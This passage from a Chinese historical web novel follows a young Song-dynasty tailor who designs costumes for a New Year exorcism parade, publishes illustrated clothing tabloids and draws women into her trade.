不过陈桂花倒是心眼很实诚,看到宅子后,又无比衷心地祝福起她们来,也有艳羡。要换作是她,也想住这么宽敞的大宅院,景致好,热闹,前后院都是有钱人家,军巡铺离得还近。 不止陈桂花难受,桑树口好些人家,以及缝补廊棚里的众人,曾经林秀水是这里的顶梁柱。 缝补廊棚如今被越来越多的人知晓,来往的人增多,缝补的生意越来越好,补东西的匠人逐渐增多,各色各类,诸如使漆修旧人、修灶、大小提桶、铜罐、熨斗等等。 即使这样好的天色,他们也都难受得慌,可谁都不会阻拦林秀水走向更好的前程里。 在大家心里,林秀水以后或许离开桑青镇,到更大的临安城里去。 林秀水收到了祝福,那些祝愿都藏着不可被遗忘的真心。 就这样,在欢声笑语里,衷心祝愿里,林秀水和王月兰,带着小荷搬到了新家里。 小荷最高兴,她终于不用跟她娘睡在一块了,她有自己的屋子了,当然夜里又灰溜溜地跑到林秀水的房上,她抱着衣裳,快快地钻进被窝里,蒙住脑袋说:“外面有鬼啊。” 她最近看了不少街边的鬼怪神妖物件,街上也多有打夜胡的,装作神鬼、判官、钟馗等,举止夸张,敲锣打鼓,沿着各家商户讨要钱财,小荷确实有被吓到。 “是你这个小鬼吧,”林秀水翻身抱住她,迷迷糊糊地说。 小荷努力反驳,“我不是,我是小荷。” “噢——,睡觉。” “可我害怕,”小荷把腿缩起来,手紧紧抓住被子,“阿姐,我很担心,你摸摸我的心。” 林秀水睁开眼,下床挥了几下手,跟小荷说:“我把他们赶走了,你睡吧。” 到第二日,小荷捂着咕噜噜直叫的肚子说:“好可怕,我做了个饿梦。” “有鬼要吃我。” 林秀水说:“你晚上吃饱饱的,就不会做饿梦了。” 她最近忙傩礼的事情,买了各色衣料,还有各种零散的小物件,有很多要忙的事情,她回想小荷的恐惧。 其实傩俗对于大人来说更多的是怪诞,可对于小孩而言,那些突出的眼睛,斑斓的花纹,极度夸张地打鼓,庇佑的神明对于有些孩子来说,也是可怖的存在。 林秀水缝制着青鸟的服饰,腊月放假,小荷帮她整理鹅毛,不少尾端都是请画匠用青绿石料磨成的颜料涂上去的,比青绿山水画的青和绿还要更明亮一点。 “你觉得街上的那些东西很可怕吗?”林秀水问小荷。 小荷想了想,“很可怕,它们长了好多双眼睛。” “不过我又觉得它们好聪明,我在这么大的家里都会迷路,它们还能找到我。” 林秀水笑了声,“那我们找一个守护神吧。” “什么是守护神?”小荷歪着脑袋问。 “你想想,什么是你最喜欢的?” 小荷很仔细地想,把眼睛瞪得很圆,然后从自己腰间的香囊里掏出一只白色长尾的海螺,那是陈九川从明州海岸那边寄来的,专门送给她的。 小荷特别喜欢,时常戴着,也经常炫耀。 林秀水说:“海螺里也有一个守护神,我画给你看。” 小荷踮起脚,好奇将脑袋凑过去,“真的吗?” 林秀水画了一个胖嘟嘟,短手短脚的小海螺,眼睛很圆,戴着一只尖角螺旋往下的圆顶帽子,旁边还有用珍珠、珠链串起来的装饰物。 小荷非常喜欢这个守护神,她很相信林秀水。 那个下午还和林秀水一块做了一顶海螺帽子,用一顶小檐边的尖顶帽子作为底部,蓝绿色的布料慢慢缠绕,模拟出海螺盘旋网上的痕迹,帽子顶逐渐往左边倾斜,来达到倒扣的效果。 又用细小的珠链穿成串,缠到帽子的螺旋上,其余的则缝到顶上,渐渐垂下来,因为林秀水为了加深守护神的印象,还特别说它在海底很喜欢珍珠,以及各种珠子,它总是跟蚌壳一块玩。 这顶海螺帽子做得不大精细,可戴在头上,像海螺偷偷成形跑到岸上来,珠链一甩一甩,很灵动,小荷哇哇大叫。 林秀水拍拍她的大脑袋,“好了,现在你也可以参加傩戏了,不管看到什么,守护神都会保护你的。” 小荷终于不害怕了,她扶着大脑袋,很严肃地说:“我可以叫大家都来跟我一块当海螺吗?” “我也想叫守护神保护她们。” 林秀水哑然,她答应,“好吧,小海螺。” 可当她跟一群孩童聊过后,小孩子的想法都很奇特。 “我想当一只虫子,它背上也有一个好看的壳,我要是有了壳,我就能缩进去了。” “我家门前有棵很大很大的桑树,”有个小女童张开手臂,努力往两边伸直,“我看不到它的脑袋,可我捡了它很多的叶子,桑叶会保护我的。” 矮个子的小男孩说:“想当菩萨吧,每个人都给我磕头。” “我想把衣服支起来,”十岁的小孩说,“袖子应该有四只手。” 小小孩举起一只小狸花猫说:“我可以当我家阿花的猫吗?” 林秀水听完,她其实连春神句芒的鸟面都做完了,羽毛粘好,纹路细腻,已经想做更加可怖的头顶,突出非人感。 仔细想过后,她还是认为傩礼不应该拘束在礼上,更应该突出戏和狂。 所以她最后在完成神鬼服饰上,又额外请很多裁缝帮忙,在这场傩”礼中,又剪出了新的路,毕竟她是剪刀侠客。 这条路就是——万物生灵—— 作者有话说:感谢每一个人,明天见。 第100章 第 100 章 傩服之青鸟 今年傩礼有林秀水参与, 正值她风头劲盛之际,许多人都很关注。 各种言论繁杂,有说社首糊涂, 选林秀水做什么 ,她难当大任,也有对林秀水充满偏见, 认为她会搞些哗众取宠的东西等等。 林秀水听完一乐,她甚至能把那些对她的诋毁,当作下饭菜咀嚼,有些人还以为她气疯了。 随着林秀水大量买鹅毛, 花枝、青绿颜料,兑换铜钱,去庙里求符箓, 求来的黄纸上写满了大吉大利、百无禁忌之后,大家对她已经从审视到一种相当关注的地步了,爱恨同生。 腊月二十四,江南小年,今日敲腊鼓,行傩、起傩,祭祀灶神, 跟往年钟馗、判官、五方神使等别无二致, 有娘子在人群里嘀咕, “万物生灵到底是什么万物?” “嗯, 或许是姓万的呢?”她同行的娘子逡巡街上游行的长队,随口说道。 腊月二十五,扫房掸尘土,腊月二十六, 抽空上街买各种年礼要备的东西,聚众讨论万物生灵是什么衣服?腊月二十七,里外洗一洗,腊月二十八,家生擦一擦,腊月二十九,脏污全搬走。 除旧布新一番,到了万众瞩目的除夕。 傩礼一般放在除夕,因为除日为一年岁末,是阳气最衰、阴气最盛的日子,要扫除阴气。 每年午后开场,镇长务必祷告上苍,随着沉重的鼓声响起,社首宣布傩礼开始,街巷楼上、树梢、站台全围满了人,孩童戴着青绿黑相间的傩面,在人群里嬉笑跑跳,乌溜溜的眼睛却盯着中间的宽阔大道。 当大家以为最先出场的,仍旧是往年穿红裳,随鼓声大跳,口中念念有词的大巫时,却没想过,眺望远处的街角,最先浮现的是一片纯粹的青绿。 “那是什么?”有人高声惊呼,试图将挡在前面的人使劲往下按,他好看得更清楚。 一条浑身青绿,头顶着长而弯曲左右分叉的枯枝,枯枝上面开满桃花的青龙,舞动着往前行进,右边另一条龙的龙角则为鲜红的腊梅。 在两条灯笼做的长龙中间,随着车轮滚滚前行,有人坐在一截枯木上,大家傻愣愣地从他头顶半人高手臂粗,蜿蜒向上,开满了绯桃、香梅、紫笑、玉绣球,小牡丹、海棠等花枝做的角往下。 随之为尖嘴绿脸的鸟面,长到脚踝的头发布满缠绕的青绿苔藓,顺着他披着用花和叶片做出来的披甲,背后为一片片深浅不一的叶片,一直蜿蜒到脚边,绿苔藓布满枯木。 即使这跟画像上的春神截然相反,可仍旧能被大伙一眼认出来,扯着嗓子喊:“春神——” “是春神啊!” 木主生发的春神,巨大花枝吸引着每个人的视线,不敢挪开分毫,满心欢喜的雀跃要跳出胸膛,凝望着被具象化的春神。 往后许多年里,这版的春神仍旧被作为祭祀的画像,和各种雕版印刷的纸马而广为流传。 在撕心裂肺地祷告和欢呼中,春神骑龙缓缓飘过,有穿绿衫的小孩提着篮子,往道路上撒缠绕的青色苔藓,有人捡起来,才发现压根不是真的,是用绿纱剪出来的细丝缠绕在一起的。 随着春神过去,祈祷来年丰收的祝词说完,又迎来一阵敲锣打鼓,摇晃着铃铛的女巫出现。 从前许多年里,每一次出场的都是男巫,也被称为觋(xí),女子才被称为女巫、师巫或者叫灵姑。 今年却很不相同,觋的穿着每年大抵相同,绣样简单,蓝绿红三色往身上套而已,女巫的穿着引起众人一片惊叹声。 手拿一根法杖,法杖最上面两边为羊角,挂着十几根红线,每一根红线上吊着铜钱,明黄色的葫芦,还有铃铛。 缓缓走过来,宽大的草帽上顶着一对青黑的牛角,牛角两边封着黄色的符咒,只能看见大吉大利这四个字,垂挂下来依旧红线加上铜钱,女巫戴着深青色的獠牙面具,线条凌厉,眼神尖锐。 青蓝色的圆领袍,黑色宽边领,袖子为深绿色,一圈红色绳结绑绕,腰间挂着两张手掌大小的白色圆脸小孩面具,两颊涂着红点,随着晃动注视着众人。 胸前绣着鲜红的巫字,两边则绣有鬼怪退让等等,腰后挂着几张符咒,铜钱垂下来,红绳结一晃一晃的,让人眼花缭乱间,又随之生出敬畏之心。 鼓声震天中,大家从头到尾看下来,眼睛都不舍得眨一下,深深被这些服饰所震撼,那种震撼不同于蝶恋花的快速变装,用各色华丽或舞台效果来吸引人,这种厚重的,有底蕴而又灵动的美,是与众不同,咂摸中欣赏。 欣赏又同时能服气地说出一句,“林秀水真有本事。” 抹去了那些画像上鸟面人身的春神形象,抹去了在大家心里,念起巫咒来疯疯癫癫的女巫形象,取而代之的有些许敬畏和神秘。 那些传统的形象被颠覆,林秀水又用服饰塑造起被人们利用,却又只在特殊时候才会想起的扫晴娘。 在梅雨季节,或者洪涝雨下不停时,才会出现,人们创造她,最开始是村中妇人剪纸为女子形状,白纸做头发,红衣绿裳,手里拿着扫帚,头朝地,脚朝天,扫帚朝天扫去,扫去连雨,再焚烧殆尽。 虽说大家以纸代巫,可扫晴娘也明确为女性神明,人称扫地娘娘。 当然这种神明,从来不会出现在傩礼上,林秀水力排众议,请了慈眉善目的老媪,头戴白纱,身穿红绿相间的衣裳,拿着柳条做的扫帚出现。 她是生于物中,被人们需要而幻化的灵。 当然给林秀水一个向大众展示的舞台,她根本不会局限于此,她放得很开,穿一身红色侠客服饰,穿一件黑色布帛披风,背上挂着一把用竹子弯曲作为剪刀柄,桃木做剪的剪刀,有半人高,剪刀柄用红线缠绕而成。 她衣服上插着针,腰间悬挂线团,大摇大摆走在街上,有着剪刀的锋利,可裂所有布帛的意气风发,别人仗剑走天涯,她用剪刀也可以,因为她背后有许多支持她的同类裁缝。 “天呐,”有年轻的小娘子红着脸,低低叫喊,十分艳羡,林秀水这种不被世俗侵扰的勇气,哪怕她只是个裁缝,走到人群的目光所向里,相当鼓舞人心。 她们有些人甚至不敢戴傩面,只是穿行于盛大喧嚣的傩礼中,那些贺词跟她们无关。 她们从小声议论,低喊,到开始为林秀水欢呼, 凝视着她的背后,哪怕长剑、弓箭、棍棒都无法替代她的剪刀。 “谢谢,希望明年你们都可以站在这里,”林秀水的笑容恳切,语气真诚。 今年的傩礼很不相同,在钟馗、判官、羊面鬼、五方神使、门神、土地神、户尉、夜叉、猪面鬼等神鬼里,一般都难得有女性神明和女子登场。 可随着后面出场的蛾女,小春娥装扮的,两边脑袋重点突出的粉色飞蛾的翅膀,身上斑斓绿色花纹衣裳,两三点圆形图案,脸上带着蛾面,涂着短小粗重的蛾眉,弯曲卷绕的触角,乍一看有点唬人。 以及青鸟。 她的出场在一只巨大而狭长的眼睛后,蓝色的瞳仁,眼角为青蓝色尖嘴鸟头,睫毛则长而向上弯曲,那是青鸟起伏的身躯和羽毛,下眼淡淡的蓝是它的肚皮。 从注意到蓝而淡漠的瞳仁,那只属于青鸟狭长的眼睛后,屏风后青鸟慢慢出现。眉 眼为山间青绿色,身体瘦长,披着一件青蓝色的羽毛披风,每根羽毛下还有黑色的斑纹,长袖到膝,里面的衣裳也覆盖明绿色的羽毛,长短交替,一直到脚。 众人惊叹万分,一直围绕着青鸟,欣赏之情全都迸发出来。 林秀水在今日的傩礼上,锋芒尽显,她张扬肆意,在场作为同行的裁缝,都已经心服口服,佩服她的本事,年轻不是被轻视的理由,她靠能力征服众人。 她甚至将民俗口数粥,也能用服饰和风趣的想法表现出来。 宋朝本来就有腊月二十四吃口数粥的习俗,也叫人口粥,用赤豆熬制成粥,家里每个人都要喝,包括猫狗。 成群的小孩就梳着圆鼓鼓的头发,两边头发后绑着爆开的黄色长豆荚,垂下一串红通通的红豆。 穿的衣裳上半身是淡黄色的圆花瓣,红豆荚开花就是黄花瓣,下半身又为红豆色圆筒裙, 围着一口大锅又唱又跳,后面跟着一群猫狗和人,一同参加盛礼。 万物生灵,什么都能从万物里来,它们既可以伟大,又可以渺小。 可以是掌管万物生发的句芒,也可以是祈求神明的女巫,是悬挂于窗台的扫晴娘,或为赋予感情的剪刀而生的裂娘,是蛾女,是青鸟。 随着腊鼓声声,铜锣阵阵,傩礼欢腾,除夜的狂欢开始,每个人戴着面具游走在长街之中,笑语乐声,一年有了好的收束,新的一年又有新的开始。 而林秀水背着她那把大剪刀,十分显眼,白日里好奇且向往的小娘子终于鼓起勇气,将她拦下来。 穿粉红衣裳的小娘子挡在林秀水面前,她期期艾艾地说:“青鸟真的很美,我就算做梦也不会忘掉,你是怎么做出来的?” “靠想还有看,看各种鸟,实在看不到鸟,就买各种画册,或者从书信里翻找出一二,这不是我一个人能做出来的,需要很多人帮忙,”林秀水很耐心地回答,“我们要先画图,确定要做的青鸟服饰,再翻找合适的布料,从各色羽毛中挑选出来,缝合到布料上。” 她清楚地向她们描述如何从成图、定稿、挑各种绫罗绸缎的布料,又如何选定其他的辅料,修剪、装饰、缝合再到一遍遍修改的。 一群年纪尚轻,既没有婚嫁,又没有怎么出过内宅的小娘子,在灯笼的照映下,满目惊奇,捏着双手十分激动的模样。 在她们心里,今天开始,林秀水比她们的幻想里的郎君还要出色,她们是有点渴望,或者能够非常坦率地说,就是想成为林秀水这样的人。 林秀水从不会放过招揽人的机会,她在震天响的傩鼓里,向她们伸出了手,“过了今天,就是明年,什么都可以实现。” “那要不要来当一个裁缝呢?” 她明年的愿望,是要成立裁缝作。 “可是我们只会点针线活。” 林秀水却说,在裁缝这行里,剪刀固然重要,针线也不可或缺。《 》 100-103 第101章 第 101 章 杂衣时报 林秀水的话语很有蛊惑人心的味道, 总有十八位小娘子答应,过完元宵再来试试,要不要当个裁缝。 到夜里回家去后, 灯火爆竹炸响,小荷捂耳朵在王月兰身后左右逃窜,王月兰则拿起备好的大红烛, 到偏屋的神龛前,让林秀水用发烛点燃。 “这点蚕花灯火可不能耽误,”王月兰推林秀水上前,其实她自己从前点的不多, 毕竟不靠养蚕桑为生。 养蚕人家点油灯或是红烛,等到正月初一熄灭,这样蚕花灯火在除夕新旧交替间, 祥瑞会一直延续下去。 自打林秀水靠蝶恋花出名了后,王月兰就一头扎进了求蚕神拜蚕花娘娘,偷摸烧许多的纸钱,让林秀水的娘多多保佑,她还会去庙里,什么神仙都拜,总想着万一有用得上的呢。 林秀水拿她没法子。 第二日正月初一, 天气阴沉沉, 下了小雪, 林秀水穿上绸红的新衣, 许多人早早过来跟她拜年。 一堆熟面孔里,有两张生面孔,戴一顶褐色的恹(yān)耳帽,两侧翻下来护住耳朵, 一身黑色绵裘的男子,左侧肩膀背着一个书箱,站他旁边的女子看不清长相,蓝绿色的风帽裹得很严实,只露出一双眼睛。 林秀水送别汪二娘等人,到院子只剩小荷时,两人终于跨过门槛,走到门里来,先是行礼,那男子表明来意。 “我们两个是干小报营生的,”汪定躬身上前说,他很诚实,“我这大名不大响亮,大家都叫我狗牙。” 一是他姓汪,二则说他狗嘴里吐不出象牙。 旁边是他的妻子,名字文雅得多,因为人家真姓文,叫作文琳。 两人靠写些小报为生,可基本卖不出去,什么大内密文,朝廷政要,各处瓦舍、地方花边新闻,总是比别人慢几步。这汪定甚至为了博取官府的消息,别人打探消息上瓦房,他钻狗洞偷听,还被抓个正着,打了几大板子。 文琳则有才女梦,总觉得要用文采征服世人,两人的爹娘都不愿搭理,丢死个人,还肯给些银钱供给,就当喂狗了。 林秀水听后,暗自生出两人绝配的念头,等泡好茶水,她端到两人跟前,微笑发问,“所以呢?” “我们小报想写你。” 文琳摘下她的风帽,露出清秀的面容,她说话很轻,“我们都看过你的衣裳,你说你的剪刀有名字,叫作裂娘。” “实在不俗。” “裂字还有其他可解的意思。” “裂也可称作列衣。” 文琳对林秀水傩礼所做衣裳很感兴趣,林秀水又是近期桑青镇出名的人物,要能写一期她的小报,不怕没有风头。 她来前已经想好,此期小报可以叫作列衣万象。 林秀水的目光在两人身上一扫而过,她挺欣赏文琳的锐气,并没有两人想得那样,需要不断游说,或是直接拒绝,而是很坦率地表示,“好啊,我很愿意。” “列衣万象这个名字很好。” 文琳那一刻就发誓,势必要写好这篇小报。 林秀水花了半日工夫,跟两人商讨,期间汪定一直蹲着,他说太过于光明正大,他不习惯,而文琳则是笔速飞快,弯腰书写,头一刻不抬。 这两人从前就是捕捉各种消息,为了抢占时间,雕版印刷没有采用木板,都是用一种蜂蜡和松香做的蜡版。 于两日之内,在百姓沉浸于拜年、休息、玩乐中,关于傩礼服饰小报横空出世。 “列衣万象,”拿到这卷黑白小报的男子嘀咕,翻开来一看,怔住细看。 什么叫作衣物榜上有名,不分高低,包罗万象。 甚至第一个大字黑色标语,为春神句芒不为人知的故事。 他撇了撇嘴,心里有些不屑,却又不忍挪开眼。 他娘子在一旁好奇,“什么不为人知?” 看到那篇幅,只见纸上写到春神游街时,头顶硕大的花枝,其间有几十种花卉,真花诸如腊梅,来自镇里东西南北四个园林,绿香、白水仙、绿萼梅等等则来自各处百姓家中,其余花卉为罗帛像生花,为面花行制作。 包括如何抽绿罗作为苔藓、鸟面人身到底选用什么鸟面等等。 往下看,还有标题如为扫晴娘的生辰未解之谜,是灵姑也是女巫,飞越三江口的长尾绿蚕蛾,蓬山有路出青鸟,猫猫狗狗人口粥,以及最后用剪尺针线逢时运作为收尾。 通篇很吸引人,比如扫晴娘诞生于每个雨季,止雨求晴,她跟雨其实相伴而生,所以她上衣的红是水红色,袖子两侧绣有旋涡纹,近似于水涡,像雨滴落到水里而震荡开,涡纹象征生生不息的水纹,又如同光明而燃烧的火纹,因为扫晴娘的最后都是投于火里而消失。 见巫为女,巫的深青色来源于曾经的楚地青铜绿,巫风盛行,身 上的花纹是绣制的符咒,以及祝福交织而成,青、蓝、黄、红几色绣眼睛线一根根绣上,符咒驱鬼神,而祝则用言语愉悦鬼神,是以巫服繁复。 青鸟的衣裳则全用羽毛沾染,共用大小羽毛一千多片制作而成,背羽、腹羽、额羽、尾羽,包括眉毛。 最后林秀水还借此感谢大家厚爱,她说自己的成就很小,服饰的来源生于万物,是以列衣万象。 小报一般都是消遣用的,最多卖十文,可这篇小报要价二十文,仍旧被抢售一空,在各大坊间、富贵人家间流传。 洋洋洒洒数千字,当天傩礼只能走马观花,并不能细致地上前观看,所有未能被大家知道的细微之处,和许多裁缝的用心之处,全都被描述了出来。 “我就说,今年社首请对了人吧,”和林秀水有过几面之缘的小娘子振振有词,她将这篇小报轻轻捧在手里,反复观摩。 她萌生个念头,真想做个这样的裁缝啊。 这种想法不止在她一个人心中发芽。 随着小报越传越广,做衣背后的故事被众人知晓,水记已经不是生意好那么简单了,而是在桑青镇绝大部分人心里,刻下一个烙印,那就想做好衣裳,就去水记。 也有更为看重林秀水个人的,想用重金请她一个人上门做衣裳,被林秀水一口拒绝,那几个娘子还不死心,不断加钱,已经加到了五六百金,她也不为所动。 最后拿她没办法,气哼哼地定了十几件衣裳,给了一大笔钱,试图用这种方式来折磨林秀水。 林秀水只想说,多来点。 小报的流传,对于林秀水而言是好事,可对于顾娘子来说,她坐立难安。 终于在初六这日,登门拜访林秀水,甚至等不到初八上工。 林秀水出门回来的时候,顾娘子已经等了一个多时辰,手边的茶水一口没喝。 她看见厅堂里的顾娘子,面色有些诧异,转而又笑道:“怎么娘子你今天大老远过来,要是早知道你要来,我今天说什么也不会出门的。” 顾娘子说:“今年好菜好肉的,可我当真吃不下,也睡不着,想想还是过来一趟。” 林秀水了然,“看来是因为我了。” “我们之间,就不用太过客套了,”顾娘子扶着黑漆方桌起身,“你之后有什么打算?” “会离开顾家裁缝作吗?” 其实从去年底蝶恋花盛行开始,顾娘子就曾想问出口,反反复复斟酌,最终没有开口,即使林秀水说要走,她其实也无法挽留。 哪怕林秀水站在门口,背着光,她的眼神依旧很明亮,语气轻柔,话语却并不是,“会。”她确实会离开顾家裁缝作。 林秀水却又道:“娘子你放心,以后我肯定会离开裁缝作,但不会是今年。” “娘子你对我有知遇之恩,裁缝作我也无法割舍,我都记得。” 林秀水总是这么坦诚,“可我也有野心,我想之后以后大家提起来裁缝来,能把我们相提并论,至少可以称作北顾南林。” 顾娘子的心落了下去,她轻笑一声,“或许,是南林北“固”。” “后日来裁缝作的时候,我们好好商量一下吧。” 林秀水的以后不可小觑,顾娘子深刻清楚,从未有人只一年光景,在裁缝这行展露锋芒,种子飞越万重山,落地扎根便成林。 正月初八那日,林秀水坐在顾娘子的面前,这已经是她不知道多少次,在这间宽大却又置物名贵的屋子里,跟顾娘子平起平坐。 顾娘子的脸色如同寻常,但林秀水仿佛看见,她当初满池娇在临安失利之后,顾娘子也是这样宽厚而又包容,她都记得。 “我确实还是没有办法心怀坦荡,”顾娘子叹一口气,“我非常想要留住你。” “当然我也很清楚。” 顾娘子说完后,将一封红底的契约缓缓推到林秀水面前。 林秀水的右手放在红契上,慢慢捏住一角,翻过来握在手里,低头细看。 等她的目光触及到纸上的几行字时,眼睛微微闭合,嘴角渐渐抿起,她抬头看向顾娘子。 纸上写着用顾家裁缝作一年的收成,分作五份,其中一份聘请她为裁缝作的合伙人。 下面写着顾娘子的名字,顾岚。 裁缝作去年的收成,大概有几万两银子,光是林秀水的满池娇和抽纱绣的收成,便有几千两。 谈感情很伤情分,顾娘子选择用最实惠的方式,她也承诺,即使以后林秀水离开顾家裁缝作,自立门户,这个依旧有效,只要她可以每年为顾家裁缝作出点新花样。 林秀水没有答应,她知道的,合伙在以后也会散伙。 她却说:“在实现北顾南林前,不如固北。” 顾娘子不大明白她的意思,而林秀水却在月底,出了一篇杂衣时报。 这篇小报不同于年初的列衣万象,它附带了宋朝当时非常少见的,全彩色的衣饰图样。 杂衣时报的第一篇为胜轻纱—— 作者有话说:以后更新时间调整为晚上十一点,不好意思。 红包[比心] 第102章 第 102 章 胜轻纱 在整个江南生产蚕桑的地界里, 纱织技术很成熟,上贡的纱种类有天净纱、暗花纱、栗地纱、茸纱、素纱、花纱、绉纱等等,其中最出名的基本都为轻纱。 胜轻纱这名字带点轻狂, 人们喜欢谦虚、和煦、有礼的,而非张扬的,没上之前就无法忍受开始批评。 不过林秀水取名为逊轻纱, 那更是一场灾难,都比轻纱逊色,还造出来做什么。 当然桑青镇有些人,嘴巴毒得很, 说瓦罐跟瓷罐虽然都是罐子,米跟糠即使总是相连,那也不是同个质地。 轻纱跟胜轻纱自然也不是。 小报跟杂衣时报也不是。 就差告诉林秀水, 不是个东西。 在杂衣时报出来前一日,林秀水听到这些言论,难得翻了个白眼,她回赠了一句话,“不是东西,就是南北,我东西南北都能走。” 她把路堵死了, “还有上下前后, 里外左右, 春夏秋冬。” 林秀水忙得很, 她不再多费口舌,杂衣时报虽说建立在列衣万象的基础上,她雇用文琳,买了汪定的雕版蜂蜡, 邀请思珍,还加了新的木板年画套色技术。 本来林秀水在抽纱绣推出胜轻纱前,并没有想要用时报来表现,比她做一件衣裳还费时费力。但小报出来后,大概有几十位娘子跟她说过,她们有些就算不识字,可听到街边有人念的这篇小报内容时,总有一种莫名的激动。 有个娘子读了点书,识点字,早年间也很乐意花点钱去买小报,只不过后来她就再没买过了。 她那天来水记定衣裳时说:“刚认识字的时候,我那会子看什么都很乐意,小报也时常买,可那些小报上写的都是家国朝廷、天下大事,什么科举中榜,还爱用各种史料,我就算能读懂,想跟身边的人说道谈论一番。” 她说到这里便苦笑,“一个人都没有。” 没法跟身边的人,谈论那些小报上,只可被男子意会,而不能为女子言谈的天下大事。 可眼下,这年余四十的娘子又忽而笑出声,“不过你那篇小报出来,我总算出了风头,买了好多卷送人。连过年都有了谈资,我有五六个姐妹,聚在一块就讨论你说做得那些衣裳,我可以一字一句念给她们听。” “你有一句话我始终记得,吃饭穿衣共为人生大事,所以针线上从无小事。” 没有人知道当时她在小报上看见这句话时,内心受到了多大的触动,尤其这是用字刻印出来,专门发表的。 如果说衣物做得精美,能够让大家喜欢并掏钱的话,那么文字所记录的衣料,比起史料来,有了另一种抚慰和共通,让她为此流泪。 所以林秀水花费了很大的工夫,想更换掉只有文字的雕版印刷,在宋朝不比以后有更多的技术,在后世,大家想要什么布料和印刷都可以更新迭代。 她想要印刷其他的颜色,最好把服饰的色彩和细节印在纸上,能让不识字的女子都看懂,非常困难。 眼下只有年画才有红、绿套色,也叫木板年画,临安这边叫作花纸,这两种颜色套出来,朱砂太红,绿色太浓,原本两色就是用在蚕母纸马身上的,红绿配很受大家喜欢。 林秀水没法用来套色,而且胜轻纱这一款基本为镂空白色图案,需要用白色,白颜料多用蛤粉来画,铅粉有毒,已经不太使用。 想了很多法子,她的套色印章想法得到了不少木板年画匠人的认可,每一套衣物的服饰部分,都可以分开在木板上雕刻。 比如整件褙子、衣物上的花纹、上面的衣领,人物的发髻和脸、整条褶裙等等,全部拆开进行一套细致雕刻,再逐渐用调和过的黄、丹、红、紫、墨、青,最后套印墨线,粉纸印刷。 特殊的白色编织镂空花纹,林秀水花费了将近一百两银子,请专门 的画匠用颜料来勾勒填彩的。 完全不同于年画的喜庆,这种衣物套色印章颜色很轻柔,并不像大红大绿一样突兀,上面的蓝不是深深的墨蓝,都是更接近于雨后天青色,绿色如同柳叶的新绿,哪怕深一点都是树叶绿。 杂衣时报排版完成,最先在顾家裁缝作里被传阅。 有裁缝放下手里针线,看到第一眼就仰头望天,看看地与天的距离,又忽而转变心态,暗恨老天不公,只给林秀水天赋算什么。 算她厉害。 这份时报不像小报一般很大一张,需要卷卷卷,分成了三本书页的大小,纸张很厚实,白色底,总共有三页。 最上面的杂衣时报不是单一的黑色字迹,而是统一用绿色盖印,报字还做了特别处理,从报字中间穿过去一根长长的针,线迹弯弯曲曲,从左到右穿起杂衣时报四个大字。 哪怕不识字,都能够认出来。 开篇叫作年年针线做光景。 一群裁缝拿着这份时报,脑袋挨着脑袋,聚在一起看,全都先看到很突出的空窗。 在江南风景园林中,空窗是掏空墙壁,只留下窗型而没有内里做雕花镂空。 有五朵花瓣形、圆形、扇形、宝瓶形、方形等等,园林通过空窗,欣赏伸出来的花枝,独树一帜的风景。 裁缝或是做针线的,却从这里看到自己的年年光景。 每一个纸上花窗内里,有裁剪、缝衣、刺绣,虽然用的颜色并不丰富,刻画也不多,却让人心生共鸣。 不用一句话,便让人明白,这就是针线做光景。 也许杂衣时报第一页让人触景生情的话,那么翻过来一页的胜轻纱,则真的不由自主感慨,都是用一根针做针线活的,林秀水像是用八根针做的。 “她的针法怕是在我之上,”蓝衣裁缝娘子勉强承认。 旁边几人异口同声,“说点别人不知道的。” 她恼羞成怒,“我的裁缝功底在她之下行了吧。” “确实”“本来”“实话” 大家三言两语,盖章定论,不再搭理她,又低头看起时报来,而让大家爱不释手,凑近脑袋细看的胜轻纱,哪怕只是用水蓝套出一大块底,蛤粉做白底勾勒出形状,都能够让人感叹其做工的精致。 展开的图案里,那种属于轻纱薄而透的质感,并不刻板,轻盈飘逸扑面而来,上面所绣绽开的白牡丹,层层叠叠的花瓣,并没有因所用全为白色而失去光彩。 而且当这种纯白大块绣工的料子,镂空的地方增添了许多光影,又被缝制成披帛,挂在画中人物的肩膀上,绿色抹胸黄裙子,一条如同天河飞溅的轻纱料子从肩膀到胸口慢慢垂落下来时,画的独特纹理,和保留的垂落下坠感,更加让人低呼惊叹。 做惯了衣裳的裁缝尚且如此,其他女子更不用说。 平常总是男子聚堆的供朝报摊子,杂衣时报出来后,挤满了女子的身影。 这一次再也没有人说,女子看不懂小报。 她们看得懂。 甚至可以抬头挺胸,很骄傲地跟所有人说:“你根本不懂,我才知道,这上面用的绣样是抽纱绣。” 也可以拿着时报,行走在人群里,跟同行的闺中密友讨论,“它这个上面的绣工我倒不大确定,我学的是苏绣,也不像齐针、刺针等针法,比那些要更厚重一点。” “我倒觉得这一块不太厚重,我有一条抽纱绣出来的领抹,晚些你到我家中来瞧瞧,非常轻,她们抽的线一点都不多余,绣上去的花样子根本不寻常,”额间涂着花钿的小娘子很兴奋,手差点戳到对面行人的嘴巴上。 她急急忙忙收回手,面色羞赧,又在谈论到领抹上,恢复刚才的激动,“像我们很多衣裳缝了刺绣以后,拿在手里会变得有分量,她们这的就很轻。” “我说叫胜轻纱没有一点问题。” 她强调,“一点都不轻狂。” “我要是有林秀水一半的本事,我横着走。” 等她说完,她身边不远处陌生的小娘子突然转过身来,难以控制地说:“你也喜欢林秀水!” “我也是!” 又引发五六人回头,结果大家都是同好。 “她的裁缝铺都在招人,已经招了二十来个人了,我堂姐就招上了,她回来就说水记工钱给得特别大方,刚进去都有两贯钱,还不算每个月的补贴,晌午吃的也很好,定的孙记正店的饭食,”其中一个小娘子不乏艳羡,又压低声音说,“我堂姐还说,要是月事来了,疼得慌还能休息,白领三日工钱,不用上工呢。” “等我绣工再有长进一点,我肯定要去水记里当裁缝的。” “那样我以后不靠别人吃饭,光是一个月的月钱就能养活我自己了。” 这已经成为她为之努力,为之奋斗的念头,水记是她此行的目的地。 在此之前,很多人都认为缝补、做针线活,只是一项再寻常不过,不足以为被称道的事情,那么在它能赚钱以后,甚至出时报后,称赞其年年好光景后,不再那么被轻视。 在杂衣时报出来,大家也开始期待林秀水,二月底的胜轻纱秀。 当然更期待下一期的杂衣时报。 林秀水也接收到了大家的喜爱,她跟思珍说:“怎么样,你要不要再来做第二期的时报?” 这一期里,杂衣时报几个被人熟知的标题就是思珍写的,里面编纂的文字是她跟文琳共同的手笔,花窗的设计来源于她。 也是她跟林秀水一块想出来,针线勾勒出年年光景的。 而那时思珍却并不觉得自己能做好。 她总是说山外还有山,一山放出一山拦。 现在她能够很肯定地回答:“好。”—— 作者有话说:关于类似蕾丝服饰在国画中的呈现,可以参照元代的鱼篮观音图。 第103章 